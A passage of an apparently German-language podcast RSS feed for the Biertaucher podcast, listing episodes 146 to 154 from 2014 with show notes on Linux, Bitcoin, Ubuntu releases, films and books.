+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher154.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:154&amp;title=Biertaucher%20Folge%20154&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/DfPUQW oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/DfPUQW">hier klicken um die Shownotes zur Folge 154</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ tes in Arbeit
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher154.mp3" length="39435770" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>zu Fuß durch Australien, Familiengeheimnisse, Böse Creationisten, gute Anthrophologen PYthon Dokumentation mit Sphinx.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/DfPUQW http://biertaucher.at
+</itunes:summary>
+<itunes:duration>00:54:43</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 154
+</itunes:keywords>
+</item>
+
+
+
+
+<item>
+ <title>Biertaucher Folge 153</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:153</link>
+ <pubDate>Thu, 24 Apr 2014 17:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher153.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:153&amp;title=Biertaucher%20Folge%20153&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Florian SCHWEIKERT und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/8AxPtX oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/8AxPtX">hier klicken um die Shownotes zur Folge 153</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B>, <b>Florian SCHWEIKERT</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, worüber wir reden werden
+</li><li> 0:02:37 <a href="http://dogecoin.com/">Doge-Coins</a>, die <a href="http://youtu.be/000al7ru3ms">Bitcoin-Spaß-Alternative</a> mit dem Mem-Hund
+</li><li> 0:12:08 Johnny macht Werbung für die Firma vom Bitcoin-Andreas: <a href="https://play.google.com/store/apps/details?id=com.mycelium.wallet&hl=de">Mycelium</a>
+</li><li> 0:17:34 Horst hat Ubuntu 14.04 installiert, Filesharing zwischen Linux-Computern per <a href="https://de.wikipedia.org/wiki/Network_File_System">Network File System NFS</a>
+</li><li> 0:23:12 Neuigkeiten bei Ubuntu 14.04: Amazon-Suche in der Ubuntu-Dash, Unitiy 7, verschwindende Menüleisten
+</li><li> 0:34:29 Horst schaut unter Linux DVB-S Fernsehen per Sundtek USB-Stick mit Kaffeine und spielt mit XBMC herum
+</li><li> 0:44:00 Gregors SciFi Film der Woche: Forbidden Planet (Alarm im Weltall)
+</li><li> 0:47:30 Horst war im Kino: Die Mamba mit <a href="https://de.wikipedia.org/wiki/Michael_Niavarani">Michael Niavarani</a>
+</li><li> 0:52:47 Johnny war unbegeistert im Kino: Noah in 3D mit gerenderten Tieren
+</li><li> 0:57:51 Buch: Linux mit dem RaspberryPi
+</li><li> 0:59:26 Buch: The Greatest Show on Earth, Evolutionstheorie
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher153.mp3" length="48354601" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Johnny erklärt DogeCoins, Gregor installiert Ubuntu 14.04 und schaut Forbidden Planets, Horst freut sich über NFS und Satelittenfernsehen mit Kaffeine, schaute die Mamba und las The Greatest Show on Earth.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/8AxPtX http://biertaucher.at
+</itunes:summary>
+<itunes:duration>01:07:06</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 153, Dogecoin, Mycelium, Bitcoin, Ubuntu14.04, NFS, Samba, DVB-S, XBMC, Forbidden Planet, die Mamba, Michael Niavarani, Noah, RaspberryPi, The Greatest Show On Earth, Evolution, Creationismus
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 152</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:152</link>
+ <pubDate>Wed, 16 Apr 2014 10:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher152.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:152&amp;title=Biertaucher%20Folge%20152&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Harald PICHLER und Sven GUCKES plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/zRjIEj oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/zRjIEj">hier klicken um die Shownotes zur Folge 152</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B>, <b>Harald PICHLER</B> und <b>Sven GUCKES</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:01:00 Sven erzählt vom Grazer Linuxtag, er hat Vorträge dort besucht und gehalten. Openstreetmap, wo ist die Mitte von Graz ?
+</li><li> 0:04:00 Sven und Harald hatten W-Lan in der ÖBB !
+</li><li> 0:07:34 <a href="https://en.wikipedia.org/wiki/Heartbleed">Heartbleed Bug</a> (mit eigenem Logo), Security durch Closed Source vs. Open Source
+</li><li> 0:19:13 Horst war (kurz) beim Python User Group Austria Treffen (PyUgat) und weiß seither wie StaticMethods in Python funktionieren
+</li><li> 0:23:49 Python-Modul für Kalenderdatenerkennung
+</li><li> 0:25:44 Harald erzählt über seinen Smartsara Vortrag und das letzte OsDomotics-Treffen mit TODO-Liste (autarke Wetterstation)
+</li><li> 0:39:48 Sven empfiehlt verschiedene Linuxtage, Show und Tell im Metalab
+</li><li> 0:47:43 Python-basierter Ebook-Server,
+</li><li> 0:49:48 Sony schuld oder Youtube selbst schuld? Sintel (open source Blender Video) wurde fälschlich wegen Copyright-Verletzung kurz von Youtube entfernt. Das Schweigen der Internet Versteher
+</li><li> 0:51:58 Crowd-Sourced Open Source Spiel: Keeper DL auf Indygogo. Gregor mag den offiziellen Dwarf Fortress Podcast
+</li><li> 0:53:18 Horst guckt Youtube: Cardbord-Warfare (WW2 Flugsim Remake)
+</li><li> 0:56:41 Gregors Film der Woche: The 5th estate (Wikileaks)
+</li><li> 1:02:03 PyCon Videos sind online auf Youtube
+</li><li> 1:02:23 Kino: Lego The Movie
+</li><li> 1:09:59 Point-and-Click-Adventure: Sheeva, Genemi Rue
+</li><li> 1:13:10 Cryptoparties
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher152.mp3" length="56985981" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Sven gibt Linuxtag-Reisetipps und erzählt vom Grazer Linuxtag, Harald liest die OSDomotics-Todo-List vor, Gregor sorgt sich wegen dem Heartbleed-Bug und spielt Adventuregames, Horst mag Papierfliegerfilme auf Youtube und Lego-The-Movie im Kino</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/zRjIEj http://biertaucher.at
+</itunes:summary>
+<itunes:duration>01:19:05</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 152, OSDomotics, Graz, Linuxtag, Paperclip Warfare, Papierflieger, Youtube, Openstreetmap, Heartbleed, Python, Kalenderdaten, static methods, OSDomotics, Wetterstation, Störgeräusche, wikileaks, 5th Estate, Lego the Movie
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 151</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:151</link>
+ <pubDate>Fri, 11 Apr 2014 07:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher151.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:151&amp;title=Biertaucher%20Folge%20151&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/v6eEvg oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/v6eEvg">hier klicken um die Shownotes zur Folge 151</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung vom <a href="http://hackerfunk.ch">Hackerfunk</a> (Schweiz), rituelle Frage
+</li><li> 0:02:13 Der Tote der Woche: wir betrauern das Ende von <a href="https://en.wikipedia.org/wiki/Ubuntu_One">Ubuntu One</a>, Syncen von Clouds
+</li><li> 0:04:28 Horst's Homestory: Horst's Vater (74) wechselt von Windows XP zu Linux (Ubuntu), Dateimanager
+</li><li> 0:13:10 <a href="http://thepiratebay.se/torrent/9849549">Pirate Bay Indie Bundle</a> Spiele ? Pirate Bay als Vertriebskanal für Spiele
+</li><li> 0:14:00 Android Games: Bridge Builder (Humble Bundle), Android Humble Bundle App (Nexus S zu langsam, aktuelles Nexus 7 Tablet, 7 Zoll Tablets, Schleichwerbung für Garip's Essen)
+</li><li> 0:19:36 Johnnys Mutter kauft ungefragt Thalia <a href="http://www.thalia.de/shop/tolino-shine-ereader/show/">Tholino Ebook Reader</a> mit Beleuchtung, Akkuauflade-Pads, <a href="http://www.google.de/nexus/7/">Nexus 7 Tablet</a>, externe Eingabegeräte an Smartphone anschließen.
+</li><li> 0:25:15 Report war am <a href="http://linuxtage.at/">Grazer Linuxtag</a> (<a href="http://linuxtage.at/programm/">Vortragsprogramm</a>), <a href="http://hackerfunk.ch/">Schweizer Hackerfunk</a>, Linux Spieleecke, Horst spielt mit der <a href="https://de.wikipedia.org/wiki/Oculus_Rift">Okulus Rift</a>, <a href="http://spielendprogrammieren.wordpress.com/2014/04/06/grazer-linuxtag-2014-bericht/">Horst's Blogposting über den Grazer Linuxtag</a>
+</li><li> 0:38:00 Horst macht eine <a href="http://wiki.lpi.org/wiki/LinuxEssentials(DE)">Linux Essential Prüfung</a> beim <a href="http://www.lpi.org/">LPI</a> (am Grazer Linuxtag), LPI Essential vs. ECDL
+</li><li> 0:44:03 <a href="http://cebexpo.net/">Cebexpo Bitcoin Konferenz</a> mit Richard Stallman in Wien ! Termin: Ende Mai, Anfang Juni (<a href="http://cebexpo.net/speakers/#menu">Speakers</a>), größte Bitcoin-Party Europas.
+</li><li> 0:48:11 <a href="http://freakonomics.com/2014/03/27/why-everybody-who-doesnt-hate-bitcoin-loves-it-a-new-freakonomics-radio-podcast/">Bitcoin-Einführung vom Freakonomics Podcast</a>, <a href="http://www.ted.com/talks/paul_kemp_robertson_bitcoin_sweat_tide_meet_the_future_of_branded_currency">Bitcoin-TED-Talk</a>
+</li><li> 0:50:21 Johnny bastelt sein eigenes <a href="https://de.wikipedia.org/wiki/Terminator_(Film)">Skynet</a>: <a href="https://www.ethereum.org/">Ethereum</a> (von <a href="https://en.wikipedia.org/wiki/Vitalik_Buterin">Vitalik Buterin</a>) <a href="https://metalab.at/wiki/Ethereum">Ethereum Gruppe im Metalab</a>, Software die Geld ausgeben kann und Menschen für sich arbeiten lässt, <a href="https://de.wikipedia.org/wiki/Turing-Vollst%C3%A4ndigkeit">Turing-vollständige</a> Skriptsprache,
+</li><li> 1:11:17 Harald wurde von Ö1 Digital Leben interviewt über SmartHome
+</li><li> 1:11:37 Trashiger TV-Kult: <a href="https://en.wikipedia.org/wiki/Italian_Spiderman">Italian Spiderman</a> und <a href="https://en.wikipedia.org/wiki/Danger_5">Danger 5</a> 60er Jahre James-Bond-Nazi-Spionage-SciFi TV-Serie
+</li><li> 1:17:36 Garip's antiker tragbarer Kasettenrekorder
+</li><li> 1:18:53 Youtube Sketch: <a href="http://youtu.be/BKorP55Aqvg">Drawing 7 red lines</a> über Firmen-Meetings
+</li><li> 1:22:00 Film: <a href="https://en.wikipedia.org/wiki/The_Ladykillers">Ladykillers (Original von 1955)</a>
+</li><li> 1:25:34 Interview: Wolfgang Scheichert vom <a href="http://linuxtage.at">Linuxtag Graz</a>: Auftruf zum Mithelfen glt@linuxtage.at
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher151.mp3" length="54824075" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Bericht und Interview vom Linuxtag Graz, Bitcoin-Konferenz in Wien, diverse Hardware, Skynet zum selbermachen mit Ethereum, schöner leben mit Danger 5, Italian Spiderman und LadyKillers u.v.m…</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/v6eEvg http://biertaucher.at
+</itunes:summary>
+<itunes:duration>01:29:05</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 151, Hackerfunk.ch, Windows XP, Bridge Builder, Nexus7, Tholino, Okulus Rift, LPI, Bitcoin, Cebexpo, Stallman, Ethereum, Skynet, turing-completeness, Italian Spiderman, Danger5, LadyKillers
+</itunes:keywords>
+</item>
+
+
+
+
+<item>
+ <title>Biertaucher Folge 150</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:150</link>
+ <pubDate>Wed, 02 Apr 2014 10:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher150.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:150&amp;title=Biertaucher%20Folge%20150&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/qAuHJS oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/qAuHJS">hier klicken um die Shownotes zur Folge 150</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ :00 Begrüßung, rituelle Frage, Veranstaltungshinweis Garip's kurdischer Abend in der Zypresse am 26-4-20140:01:49 Johnny heiratet !0:02:30 Gregor hat ein neues Android Smartphone: Moto-G von Motorola0:15:43 Barometer in Johnnys Nexus 4 Smartphone0:17:32 most awesome video editing Dad: Youtube Kindervideos mit Special Effects0:19:30 Horst bekommt ein E-book fürs tweeten über Packt-Publishing0:21:31 Johnny fährt mit herumstehenden Car-Sharing/Mietautos: Car2Go0:33:22 Car2Go verwendet MyFair Deskfire Zugrisskarten (NFC, proprietär)0:37:00 E-day der Wirtschaftskammer Wien: Videos sind online0:38:10 Humble Open Source Bundle: Magic Diary und Magical Tower Defense (Adobe Air)0:41:50 aktuelles Science Fiction Nerd/Mainstream-Kino: Her (Kinofilm) (Referenz zu Black-Mirror, siehe auch Biertaucherpodcast Folge 100)0:48:47 TED-Talk: Mind controlling parasites0:50:40 Cure Runners online (in Österreich)0:52:32 nettes Android-Hüpfspiel erstellt mit V-Play Engine: Pharao's Escape0:54:10 Leadworks: 3d game engine: 3d Spiele für Ubuntu auf Ubuntu entwickeln0:57:00 Kino: Everyday rebellion - gewaltfreier Widerstand1:05:05 freie Bücher (epub) über den 1. Weltkrieg: 4 Weeks in the trenches (Fritz Kreisler), wartime diary of an u-boat commander1:11:28 Kino: 300, Teil 2 (Splatter-Comic-Verfilmung, gerenderte Seekriegs Szenen)1:17:11 Podcastempfehlung Bitcoin-Udpate 681:17:58 Daniel empfiehlt das OpenSource Humble Bundle
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher150.mp3" length="57658465" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Johnny mietet Kleinwagen und heiratet, Gregor hat ein neues Smartphone und schaut Splatterfilme, Horst liest 100 Jahre alte Bücher, bekommt Geld fürs teweeten und freut sich über neue Computerspiel-Engines und Everyday Rebellion im Kino. </itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/qAuHJS http://biertaucher.at
+</itunes:summary>
+<itunes:duration>01:20:04</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 150, Her, 300-Teil2, EverydayRebellion, Moto-G, Barometer, packt-publishing, Car2Go, CarSharing, E-Day, HumbleBundle, RenPy, Cure Runners, Pharaos_Escape, V-Play_Engine, Leadworks, 1.Weltkrieg, Bücher
+</itunes:keywords>
+</item>
+
+
+
+
+
+<item>
+ <title>Biertaucher Folge 149</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:149</link>
+ <pubDate>Fri, 28 Mar 2014 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher149.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:149&amp;title=Biertaucher%20Folge%20149&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/Hp3caA oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/Hp3caA">hier klicken um die Shownotes zur Folge 149</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> Inhalt noch in Arbeit
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher149.mp3" length="36777863" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Kleinigkeiten</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/Hp3caA http://biertaucher.at
+</itunes:summary>
+<itunes:duration>00:51:01</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 149, Broken Sword, OpenTechschool, Issue.com
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 148</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:148</link>
+ <pubDate>Fri, 21 Mar 2014 22:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher148.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:148&amp;title=Biertaucher%20Folge%20148&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/Gmc6dq oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/Gmc6dq">hier klicken um die Shownotes zur Folge 148</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> Inhalt noch in Arbeit
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher148.mp3" length="35861276" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Report vom Chemnitzer Linuxtag 2014</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/Gmc6dq http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:49:45</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 148, Chemnitzer_Linuxtage, Budapest_Grand_Hotel, Episodes
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 147</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:147</link>
+ <pubDate>Thu, 13 Mar 2014 17:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher147.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:147&amp;title=Biertaucher%20Folge%20147&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Florian SCHWEIKERT und Harald PICHLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/hWEnQQ oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/hWEnQQ">hier klicken um die Shownotes zur Folge 147</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B>, <b>Florian SCHWEIKERT</B> und <b>Harald PICHLER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, worüber wir reden werden
+</li><li> 0:03:20 Garip's <a href="http://youtu.be/kEV47m3d_i4">kurdischer Abend in der Zypresse ist auf Youtube</a>, Grafikchiptreiberbefreiung für Rasperry Pi, X-Player
+</li><li> 0:07:39 Getty Images <a href="http://blogs.wsj.com/digits/2014/03/05/gettys-images-are-now-free-for-twitter-tumblr-and-personal-blogs/?mod=ST1">erlaubt Bilder einbetten für nicht-kommerzielle Nutzung</a>
+</li><li> 0:09:00 <a href="http://www.wpcentral.com/microsoft-creating-open-source-framework-gaming">Microsoft's Cross-Platform Gaming Netzwerk</a> ? Gregors Erfahrungen mit Windows Live.
+</li><li> 0:11:50 cooler <a href="http://youtu.be/lvtfD_rJ2hE">3D-Stäbchen-Tisch vom MIT</a>
+</li><li> 0:14:12 Florian's neues <a href="http://www.amazon.de/gp/product/B00GLP3CSU/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00GLP3CSU&linkCode=as2&tag=spielendprogr-21">Lenevo Convertable Thinkpad Yoga</a>
+</li><li> 0:25:38 neuer <a href="http://www.heise.de/developer/meldung/Konkurrenz-aus-den-eigenen-Reihen-Kickstarter-Kampagne-fuer-besseres-Eclipse-2136757.html">Fork von Eclipse</a> ?
+</li><li> 0:27:31 österreichischer Polit-Kriminalroman: <a href="http://www.amazon.de/gp/product/3463400804/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3463400804&linkCode=as2&tag=spielendprogr-21">Polivka haut Traum</a>
+</li><li> 0:32:53 Computerspiel: <a href="http://www.octodadgame.com/octodad/dadliest-catch/">The Dadliest Catch</a>
+</li><li> 0:38:50 Florian war in Norwegen und wollte Nordlichter anschauen
+</li><li> 0:46:51 Horst war in Brüssel und hat Pommes Frites gegessen und starkes Bier getrunken
+</li><li> 0:51:00 Gregor hört Podcasts und hat sich <a href="http://www.amazon.de/gp/product/B00005UWQT/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00005UWQT&linkCode=as2&tag=spielendprogr-21">Silent Running</a> angeschaut
+</li><li> 0:59:17 <a href="http://osdomotics.com">OSDomotics</a> fährt ui den <a href="http://chemnitzer.linux-tage.de/2014/en/info/">Chemnitzer Linuxtagen</a>
+</li><li> 1:02:30 Mariahilferstraße: Ausgang der Volksabstimmung, Querungen
+</li><li> 1:08:00 Harald (inzwischen im Podcast) über Chemnitzer Linuxtage
+</li><li> 1:12:27 OSDomotics Neuigkeiten, Urzeitkrebse-Aquariumstemperatursteuerungsprojekt
+</li><li> 1:21:18 Horst war im Kino: <a href="http://machtenergie.at/">Macht Energie</a> (u.a. Energierebell Wolfgang Löser, Stadtwerke Murau)
+</li><li> 1:26:17 OSDomotics und Mozilla Foundation: Kooperation bei Internet of things ?
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher147.mp3" length="64897634" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>norwegische Nordlichter, Pommes Frites in Brüssel, verheiratete Tintenfische, Kommissare mit Gemüsephobie, Vorfreude auf Chemnitz </itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/hWEnQQ http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:30:05</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 147, Zypresse, kurdischer Abend, Getty Images, Raspberry, Microsoft, 3D Tisch, Thinkpad Yoga, Polivka hat einen Traum, Dadliest Catch, Norwegen, Brüssel, CLT, Chemnitz, Linuxtage, OSDomotics, Mahü, Macht Energie
+</itunes:keywords>
+</item>
+
+<item>
+ <title>Biertaucher Folge 146</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:146</link>
+ <pubDate>Wed, 05 Mar 2014 12:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher146.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:146&amp;title=Biertaucher%20Folge%20146&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/G2VMLn oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/G2VMLn">hier klicken um die Shownotes zur Folge 146</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, worüber wir reden werden
+</li><li> 0:02:35 Lesefutter: <a href="https://netzpolitik.org/2014/wir-verschenken-unser-buch-ueberwachtes-netz-der-sammelband-zum-nsa-skandal/">Gratis Ebook</a>
+</li><li> 0:03:50 Evernote vs. <a href="https://en.wikipedia.org/wiki/Pocket_(application)">Pocket</a>: Offline Webseiten lesen
+</li><li> 0:05:07 <a href="http://www.mozilla.org/de/firefox/os/">Firefox OS</a>: zentrales Repository for Updates vs. Androids Herstellerchaos
+</li><li> 0:10:00 Horst bekommt im Metalab ein Videomikrophon geschenkt
+</li><li> 0:12:30 <a href="http://derstandard.at/1392686846724/Firefox-Am-31-Maerz-beginnt-die-grosse-Plugin-Blockade">Firefox-Plugin Blockade</a>
+</li><li> 0:17:00 <a href="http://www.golem.de/news/spritz-schnell-lesen-mit-bis-zu-1-000-woertern-pro-minute-1402-104734.html">Schnell-Lese App Spritz</a>
+</li><li> 0:21:30 Gregor hat inzwischen mehrere Humble-Bundle Spiele für Android ausprobiert.
